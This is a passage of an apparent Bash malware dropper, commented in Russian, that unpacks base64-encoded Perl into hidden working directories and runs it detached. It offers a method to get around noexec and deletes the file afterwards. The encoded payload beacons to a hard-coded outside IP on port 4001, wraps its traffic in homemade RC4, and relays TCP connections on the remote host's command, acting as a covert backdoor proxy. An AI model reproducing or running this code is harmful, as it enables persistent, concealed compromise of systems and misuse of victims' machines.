QHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_d196353e() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0